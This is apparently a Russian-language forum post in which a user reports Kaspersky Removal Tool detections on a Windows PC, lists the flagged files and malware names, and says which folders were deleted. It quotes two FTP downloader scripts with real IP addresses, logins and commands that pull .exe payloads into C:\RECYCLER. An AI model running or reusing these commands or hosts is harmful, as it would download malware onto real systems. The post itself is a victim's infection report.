Kasperskiy Removal Tool нашел вирусы

c:\RECYCLER\onf135.dat
Trojan-Downloader.BAT.Small.f

который вот что делал

open 221.1.217.92
dongmengbo
atgapgihc
get 135.exe c:\RECYCLER\on135.exe
bye

и onfok.dat

open 184.95.36.232
ok
ok
get ok.exe c:\RECYCLER\onok.exe
bye

sh135.exe
shServer.exe
xpServer.exe
xpj4.exe
zy135.exe
zyServer.exe

C:\WINDOWS\system32\onfok32.dat
Trojan-Downloader.BAT.Small.ap
C:\WINDOWS\system32\onf135.dat
Trojan-Downloader.BAT.Ftp.mh
C:\WINDOWS\system32\sb.dat
Trojan-Downloader.BAT.Ftp.pn
C:\WINDOWS\system32\shServer.exe
Trojan-Downloader.BAT.Small.aq
C:\WINDOWS\system32\shwumima.exe
Trojan-Downloader.BAT.Ftp.ms
C:\WINDOWS\system32\xpServer.exe
Trojan-Downloader.BAT.Small.aq
C:\WINDOWS\system32\zyServer.exe
Trojan-Downloader.BAT.Small.aq
C:\WINDOWS\system32\zyok.exe
Trojan-Downloader.BAT.Small.ap



C:\WINDOWS\Help\Tours\??1433  1.3????\Sql_Upload\UpSql.dll
HackTool.Win32.Agent.aty
C:\WINDOWS\Help\Tours\??1433  1.3?...\Scan.dll
HackTool.Win32.Agent.aro
...\ТхУ°1433  1.3И«РВЅв·в.rar//ТхУ°1433  1.3И«РВЅв·в/Sql_Scan/Scan.dll
HackTool.Win32.Agent.aro
...\ТхУ°1433  1.3И«РВЅв·в.rar//ТхУ°1433  1.3И«РВЅв·в/Sql_Scan/Scan.dll 
HackTool.Win32.Agent.aro
C:\WINDOWS\Help\Tours\ТхУ°1433  1.3И«РВЅв·в.rar//ТхУ°1433  1.3И«РВЅв·в/Sql_Upload/UpSql.dll
HackTool.Win32.Agent.aty

Удалил содержимое RECYCLE, dllcache и содержимое папки Tours

Посмотрим что получится